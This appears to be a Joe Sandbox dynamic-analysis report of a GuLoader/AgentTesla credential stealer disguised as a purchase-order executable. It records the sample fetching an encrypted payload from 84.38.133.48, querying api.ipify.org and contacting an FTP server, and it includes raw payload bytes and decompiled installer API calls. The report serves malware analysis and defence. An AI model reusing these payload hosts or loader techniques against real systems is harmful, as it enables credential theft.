Dec 18, 2024 11:07:30.947335005 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:31.273915052 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:31.274066925 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:31.274481058 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:31.280457973 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:32.891582966 CET	49767	21	192.168.2.4	192.185.13.234
Dec 18, 2024 11:07:33.011343002 CET	21	49767	192.185.13.234	192.168.2.4
Dec 18, 2024 11:07:33.011428118 CET	49767	21	192.168.2.4	192.185.13.234
Dec 18, 2024 11:07:33.015301943 CET	49767	21	192.168.2.4	192.185.13.234
Dec 18, 2024 11:07:33.183453083 CET	21	49767	192.185.13.234	192.168.2.4
Dec 18, 2024 11:07:33.183866024 CET	49767	21	192.168.2.4	192.185.13.234

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:07:29.461946964 CET	61728	53	192.168.2.4	1.1.1.1
Dec 18, 2024 11:07:29.599057913 CET	53	61728	1.1.1.1	192.168.2.4
Dec 18, 2024 11:07:32.174330950 CET	49873	53	192.168.2.4	1.1.1.1
Dec 18, 2024 11:07:32.890166998 CET	53	49873	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 11:07:29.461946964 CET	192.168.2.4	1.1.1.1	0x8b48	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:07:32.174330950 CET	192.168.2.4	1.1.1.1	0x2715	Standard query (0)	ftp.concaribe.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 11:07:29.599057913 CET	1.1.1.1	192.168.2.4	0x8b48	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:07:29.599057913 CET	1.1.1.1	192.168.2.4	0x8b48	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:07:29.599057913 CET	1.1.1.1	192.168.2.4	0x8b48	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:07:32.890166998 CET	1.1.1.1	192.168.2.4	0x2715	No error (0)	ftp.concaribe.com	concaribe.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 11:07:32.890166998 CET	1.1.1.1	192.168.2.4	0x2715	No error (0)	concaribe.com		192.185.13.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

84.38.133.48

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49752	84.38.133.48	80	2128	C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:07:27.033941984 CET	178	OUT	GET /LSOzHkHtJlArws124.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: 84.38.133.48 Cache-Control: no-cache
Dec 18, 2024 11:07:28.264004946 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 18 Dec 2024 09:18:40 GMT Accept-Ranges: bytes ETag: "acd0cfd32d51db1:0" Server: Microsoft-IIS/8.5 Date: Wed, 18 Dec 2024 10:07:26 GMT Content-Length: 241728 Data Raw: 1e 6a c0 e5 c9 07 c3 29 2d 2e 58 47 df 81 14 4b c0 76 30 0f e5 1d 82 c9 61 e8 0b f2 00 cc d3 31 48 29 82 32 f6 5b 49 4a 6e d5 f1 2f 13 84 53 40 a9 1e 52 0a 2a 78 89 aa 30 97 9c 63 1d 05 96 da 78 42 42 e0 e8 0f 3d 47 e8 f2 86 dd 6b a3 2d 22 aa 3c 31 19 e8 78 42 8a b5 d8 2c c9 9a 18 46 d3 1c 48 81 05 96 89 0e e0 75 92 0f 32 06 23 eb 62 4e ab 4e 87 0f 36 12 aa 48 e7 8c dc 12 44 ed 26 ab 04 69 e4 c7 b4 41 75 35 73 74 30 0b dd 9b 7e 86 18 a0 ae 0a e6 10 da 2c 26 73 bf bf 7d 92 96 e6 f1 3a be ed b0 d8 52 82 9a 55 6a 34 1d 10 8a eb f4 a1 74 01 79 f6 b8 1b 16 f4 23 41 6f 8e d3 22 15 6d 30 5f 76 8f 05 77 cb 8d 52 98 be 38 b1 bb 47 90 73 2f 9c 39 04 eb 91 43 d3 e3 41 c9 4c 99 7a 3a 55 60 e1 c3 97 a6 32 5e 5c 86 06 50 e3 f2 5f 4f ea 75 49 f8 21 d6 3f b2 9e fb bd e9 1f 9d 2b ba 0a 4f a9 5e 4e 16 f6 a5 ec 15 89 6c ad 6c 3b 0e 17 e6 e4 dd 73 bc 37 99 a8 19 75 e2 a7 8c b2 a3 00 f4 af aa d2 07 fd e6 64 5b da 8a cf f8 41 86 6b 60 8f 59 6a 82 22 b5 67 e8 34 5b ba f3 d4 c5 4b 75 1c 68 9b 4a 95 ef da 1a 2b 74 cc 9b 54 [TRUNCATED] Data Ascii: j)-.XGKv0a1H)2[IJn/S@Rx0cxBB=Gk-"<1xB,FHu2#bNN6HD&iAu5st0~,&s}:RUj4ty#Ao"m0_vwR8Gs/9CALz:U`2^\P_OuI!?+O^Nll;s7ud[Ak`Yj"g4[KuhJ+tTOVn9<QYizCG]6^LFn@@=uAgi+\H%$4,v"?$?r@_qK{TyH]0idCO}J_'5?jQh;d%lWK(I]_Eipz]Uxb,G~nbx/^3rV5hX(G3CS,Hq8!{c][yl44Z!v*ahl<Ro$/v.QP<@7}RRUIn<33kN+k=yv[x$MT9yMBO\ =#<97!+d0S54YSl.j+\|]Wga<IhqW\$!Fkz>CM`"F-RVueM%+,_S3e/\#Y&Fq&@&]V]4;.s/@HFt1!yL$)%
Dec 18, 2024 11:07:28.264082909 CET	1236	IN	Data Raw: 8e 23 97 5c 2d f6 47 5f 64 3f 97 8c 72 cb e2 16 70 e7 a3 a7 98 fe 7b 35 12 47 f3 8c 02 3a cf d8 ac bb 66 c5 14 aa 0e 49 c9 b9 e7 37 40 21 b9 72 45 06 d2 65 5e 83 bd fb 5b 83 45 92 e9 15 a8 53 64 db 90 e1 fb f7 0d c1 e3 e2 91 b2 a4 c2 f9 a1 ef 59 Data Ascii: #\-G_d?rp{5G:fI7@!rEe^[ESdY"UK{M/8$CJvQf[*[sB%?'yD]qOh\OKT/}1ElY1?9l>#<68kx8PSZ.2RNS
Dec 18, 2024 11:07:28.264137030 CET	1236	IN	Data Raw: 23 57 25 d2 e2 dc 05 88 33 46 b0 1a 69 d8 2d 2b 21 80 24 e7 40 09 f5 3b 4a 83 74 69 73 8c f4 13 4b 69 23 9a 25 69 4e 08 95 d6 39 a0 f6 93 6c 85 da 84 a8 66 c5 e1 a8 7c 4e e8 b9 97 9f 2d 21 46 74 6f 18 50 1e 47 83 3d 7f 71 a1 47 11 6b 8c 28 53 9f Data Ascii: #W%3Fi-+!$@;JtisKi#%iN9lf\|N-!FtoPG=qGk(SZcSX$n<QVwPNM"?JC$\QF.squXir[9zY;K<0n^)~(t1,9I72p@+=HEZn##U+@^
Dec 18, 2024 11:07:28.264174938 CET	1236	IN	Data Raw: aa 0c 8d e2 8c e5 38 04 6c 29 67 82 d3 61 b8 34 7e f5 7d 07 d4 cb 83 90 8b 4e 90 9a 50 6f da 20 29 5a 59 26 95 5f 03 d7 49 61 17 a7 69 75 a2 c0 0f 32 8a f8 9a 21 47 46 28 94 a8 dc 7b f6 97 42 e5 c6 ae c0 ba c5 eb ae 24 eb cb ba 9a 6b c0 21 42 58 Data Ascii: 8l)ga4~}NPo )ZY&_Iaiu2!GF({B$k!BX[)9QyFo(WXh-RzMB,%I).U6FyX%;6"p 7Y/J,c_-U1Ui=dBXDv:K<C
Dec 18, 2024 11:07:28.264209986 CET	896	IN	Data Raw: 4e 86 cc fa 9c 63 6e 85 68 48 88 f1 03 f7 4d 3b 68 b9 0c 03 c4 b2 e5 38 f0 e0 f8 67 a2 d6 4b a6 36 fb 26 44 09 d0 e1 a1 ba 82 31 42 9c 70 69 f0 3e 2b df 84 26 95 5b d7 f9 4b 62 4a 76 69 75 a6 14 10 09 ff 23 9a 21 6b 61 0a 96 ad 81 a3 f6 97 46 31 Data Ascii: NcnhHM;h8gK6&D1Bpi>+&[KbJviu#!kaF1f;> aER=}E5!So{XQc=hSP5[GF,r8CTthl+sbh%~]9q9J"K_$%}U$pB&c7z]~
Dec 18, 2024 11:07:28.340922117 CET	1236	IN	Data Raw: 21 7b a3 f7 66 5d c1 b2 c9 7d e2 a0 94 0a c0 46 21 99 cb 8e a4 c8 5a 21 e4 36 74 7a c1 2a 41 6c 14 6c 0d a3 b9 3c ec 22 cd 76 0f 27 2f 5e 36 51 94 0a 91 de d4 50 92 ed 35 1e d1 46 5c ea 37 fd 0f d1 15 f5 f3 7a 52 4e ab 3c 6e 49 9e b3 1b e9 d2 d7 Data Ascii: !{f]}F!Z!6tz*All<"v'/^6QP5F\7zRN<nIa$m!Q\y&4\W1bmo\|~s'\|Oz]Bx`@oPPxFM]7sR;%Y'L5A#Xb
Dec 18, 2024 11:07:28.340960979 CET	1236	IN	Data Raw: e0 33 d3 bd 5e 1b 2c 0c b9 e1 de 7b cd 5b 4d 33 e6 fc 6b 8b e1 66 a3 c6 49 c7 87 f4 58 99 0e db 5b 12 99 cb f4 50 21 56 20 ee fb bf 76 c2 20 9f 66 12 6c 35 11 da 3c ec ac 62 8e 03 0c 19 76 2e 5b 6a 0e e7 b1 2a 5c e6 c5 47 2f d0 40 a6 c3 30 fd 7d Data Ascii: 3^,{[M3kfIX[P!V v fl5<bv.[j\G/@0}RN1FPa%)ome\}T8[c$M4@<[lv%xwqk<~`S"i\|bqFxpHX`~\:u-6sWMu\Tu;5<'L
Dec 18, 2024 11:07:28.340986013 CET	448	IN	Data Raw: 4b c5 1b 96 ef a7 1f 14 e9 35 5e 5d 58 af 29 6b 49 e1 33 f9 41 53 1e 2c da 83 e2 de 71 09 34 b1 cc 39 25 7b 8b e1 98 5c f2 54 c7 79 e2 a0 95 0f c0 14 36 99 cb fe fe d8 58 21 9e 36 aa 73 c2 2a 61 96 1a 6f 0d d1 24 30 ef 52 4f 84 03 24 2f 88 2f 68 Data Ascii: K5^]X)kI3AS,q49%{\Ty6X!6sao$0RO$//h\@}RONU8EZM7Pn"&"e\|D\|"4Z$70nvovq%r{9<1`S^%->i\|rbqBxpajpx(6[G?[bQ
Dec 18, 2024 11:07:28.341092110 CET	1236	IN	Data Raw: 35 65 6a 74 6d 07 ed e8 11 40 d9 3e 9a 21 49 92 04 96 ab 81 b4 f6 97 46 31 d6 af bb 66 3b e7 a9 0e e9 c3 b9 e7 b7 3e 20 7f 6a 45 06 52 9b d2 82 3d 5b 53 83 45 12 64 5a 2a 53 eb 79 30 6a 7b f7 58 51 8c 83 fd d7 7a ba 95 81 bd 3a 51 9f a3 19 b8 14 Data Ascii: 5ejtm@>!IF1f;> jER=[SEdZSy0j{XQz:QPtMz\8$MWt.F]lUbO%%pQE0q"G^+T)"%Cfa5B(lF=?k83)qWQ%e_p.0B4l
Dec 18, 2024 11:07:28.341108084 CET	1236	IN	Data Raw: 98 08 3c 42 9a 54 19 96 3d 2b 51 a2 66 95 5b 23 75 5b 62 6a 70 1b 13 a5 ea 61 18 b1 23 9a 2b c3 7d 0a 96 af d3 c6 f5 97 36 e7 98 ac bb 6c 45 f9 aa 0e cd bb 28 e5 b7 b0 09 06 72 45 0c d2 76 de 83 39 09 3d 80 45 62 3e 55 28 53 91 5b 04 61 7b f3 4e Data Ascii: <BT=+Qf[#u[bjpa#+}6lE(rEv9=Eb>U(S[a{N/9;Pw:M(aHCT~QhV[W>#pEQ09HbKYVA$GmGF4HHPA2Q/E/=R@
Dec 18, 2024 11:07:28.383932114 CET	1236	IN	Data Raw: 10 4d ec f8 6d 7c d9 4b a6 16 12 27 7d 07 2e ef ad 92 88 cd 4e 96 50 4b ea 3e 2b 21 74 27 ac 7e 29 f5 4b 9c 66 70 69 a5 ac ea 11 32 d9 61 9a 21 49 44 49 96 ab ab 05 fc 97 46 cd 26 a2 bd 66 e5 f0 aa 0e c9 37 b7 eb b7 c0 df 4a 7e 45 26 59 65 de 83 Data Ascii: Mm\|K'}.NPK>+!t'~)Kfpi2a!IDIF&f7J~E&YezbE$W_a{)<Q]-3{8CT QU-s[+=?QN9G"K_+Y1$cfLTJ>1K8@2L

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49759	104.26.12.205	443	2128	C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:07:30 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-18 10:07:31 UTC	424	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:07:31 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8f3e58ab6dfd42e5-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1567&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1821584&cwnd=221&unsent_bytes=0&cid=6c5cca530257901e&ts=450&x=0"
2024-12-18 10:07:31 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Target ID:	0
Start time:	05:06:23
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO 0309494059506060609696007.exe"
Imagebase:	0x400000
File size:	810'408 bytes
MD5 hash:	0BE2D87EDBE429042BF5EB8791A40BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2279273264.0000000004476000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:07:20
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO 0309494059506060609696007.exe"
Imagebase:	0x400000
File size:	810'408 bytes
MD5 hash:	0BE2D87EDBE429042BF5EB8791A40BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	23.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.5%
Total number of Nodes:	1548
Total number of Limit Nodes:	40

Executed Functions

Function 0040338F Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004033B2
GetVersion.KERNEL32 ref: 004033B8
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033EB
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403428
OleInitialize.OLE32(00000000), ref: 0040342F
SHGetFileInfoW.SHELL32(0042B208,00000000,?,000002B4,00000000), ref: 0040344B
GetCommandLineW.KERNEL32(Undseeligheds17 Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 00403460
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000020,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000,?,00000006,00000008,0000000A), ref: 00403498

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035D2
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035E3
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035EF
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403603
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 0040360B
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 0040361C
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403624
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 00403638

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00000400,00403460,Undseeligheds17 Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403703
ExitProcess.KERNEL32 ref: 00403724
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403737
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403746
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403751
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040375D
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403779
DeleteFileW.KERNEL32(0042AA08,0042AA08,?,00435000,00000008,?,00000006,00000008,0000000A), ref: 004037D3
CopyFileW.KERNEL32(C:\Users\user\Desktop\PO 0309494059506060609696007.exe,0042AA08,00000001,?,00000006,00000008,0000000A), ref: 004037E7
CloseHandle.KERNEL32(00000000,0042AA08,0042AA08,?,0042AA08,00000000,?,00000006,00000008,0000000A), ref: 00403814
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403843
OpenProcessToken.ADVAPI32(00000000), ref: 0040384A
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040385F
AdjustTokenPrivileges.ADVAPI32 ref: 00403882
ExitWindowsEx.USER32(00000002,80040002), ref: 004038A7
ExitProcess.KERNEL32 ref: 004038CA

Strings

TMP, xrefs: 0040361F
C:\Users\user\Desktop\PO 0309494059506060609696007.exe, xrefs: 004037E2
C:\Users\user\AppData\Local\sillinesses\Foiningly, xrefs: 004036E0
\Temp, xrefs: 004035E9
Low, xrefs: 00403605
C:\Users\user\AppData\Local\Temp\, xrefs: 004035C7, 004035CC, 004035E2, 004035EE, 004035FD, 0040360A, 00403616, 0040361E, 00403734, 00403745, 00403750, 0040375C, 00403769, 00403778, 00403829
1033, xrefs: 00403633
SeShutdownPrivilege, xrefs: 00403859
NSIS Error, xrefs: 00403451
~nsu, xrefs: 0040372F
C:\Users\user\Desktop, xrefs: 00403756, 0040375B, 00403788
.tmp, xrefs: 0040374B
UXTHEME, xrefs: 004033DF, 004033E4, 004033EA
Undseeligheds17 Setup, xrefs: 00403456
C:\Users\user\AppData\Local\sillinesses, xrefs: 004035B5, 004036D5, 0040377F, 00403789
"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 00403466, 0040346C, 00403660
Error launching installer, xrefs: 004036BA
TEMP, xrefs: 00403617

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\sillinesses$C:\Users\user\AppData\Local\sillinesses\Foiningly$C:\Users\user\Desktop$C:\Users\user\Desktop\PO 0309494059506060609696007.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$Undseeligheds17 Setup$\Temp$~nsu
API String ID: 3441113951-641072767
Opcode ID: 593c3742dd67c1f7477e39b01131e4c834872c0d536a98d30ddcc63d0ca4eb21
Instruction ID: 34b402965a056e7880f406cddf034ee68ffb155d70387f36a3cc73b0da0a8952
Opcode Fuzzy Hash: 593c3742dd67c1f7477e39b01131e4c834872c0d536a98d30ddcc63d0ca4eb21
Instruction Fuzzy Hash: FBD11571500310ABE720BF659D45B2B3AACEB4074AF10447FF881B62E1DBBD9E45876E

Function 00405461 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004054BF
GetDlgItem.USER32(?,000003EE), ref: 004054CE
GetClientRect.USER32(?,?), ref: 0040550B
GetSystemMetrics.USER32(00000002), ref: 00405512
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405533
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405544
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405557
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405565
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405578
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040559A
ShowWindow.USER32(?,00000008), ref: 004055AE
GetDlgItem.USER32(?,000003EC), ref: 004055CF
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055F8
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405604
GetDlgItem.USER32(?,000003F8), ref: 004054DD

Part of subcall function 00404266: SendMessageW.USER32(00000028,?,00000001,00404091), ref: 00404274

GetDlgItem.USER32(?,000003EC), ref: 00405621
CreateThread.KERNELBASE(00000000,00000000,Function_000053F5,00000000), ref: 0040562F
CloseHandle.KERNELBASE(00000000), ref: 00405636
ShowWindow.USER32(00000000), ref: 0040565A
ShowWindow.USER32(0001044C,00000008), ref: 0040565F
ShowWindow.USER32(00000008), ref: 004056A9
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056DD
CreatePopupMenu.USER32 ref: 004056EE
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405702
GetWindowRect.USER32(?,?), ref: 00405722
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040573B
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405773
OpenClipboard.USER32(00000000), ref: 00405783
EmptyClipboard.USER32 ref: 00405789
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405795
GlobalLock.KERNEL32(00000000), ref: 0040579F
SendMessageW.USER32(?,00001073,00000000,?), ref: 004057B3
GlobalUnlock.KERNEL32(00000000), ref: 004057D3
SetClipboardData.USER32(0000000D,00000000), ref: 004057DE
CloseClipboard.USER32 ref: 004057E4

Strings

{, xrefs: 004056C7

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0adbb57e0d97c09077b74663f93bf726141b9520c4062d1a8b9589889d0798ed
Instruction ID: 0d33ea325d25f8e5d5623e6ebdd73ca6fcd7ab1b09301a5b30cdd6c49ec902ff
Opcode Fuzzy Hash: 0adbb57e0d97c09077b74663f93bf726141b9520c4062d1a8b9589889d0798ed
Instruction Fuzzy Hash: D7B15770900608FFDB119FA0DD89AAE7BB9FB48355F00403AFA41BA1A0CB755E51DF68

Function 004059CC Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 004059F5
lstrcatW.KERNEL32(brainpower\indbefattende.Cob,\*.*,brainpower\indbefattende.Cob,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A3D
lstrcatW.KERNEL32(?,0040A014,?,brainpower\indbefattende.Cob,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A60
lstrlenW.KERNEL32(?,?,0040A014,?,brainpower\indbefattende.Cob,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A66
FindFirstFileW.KERNELBASE(brainpower\indbefattende.Cob,?,?,?,0040A014,?,brainpower\indbefattende.Cob,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A76
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405B16
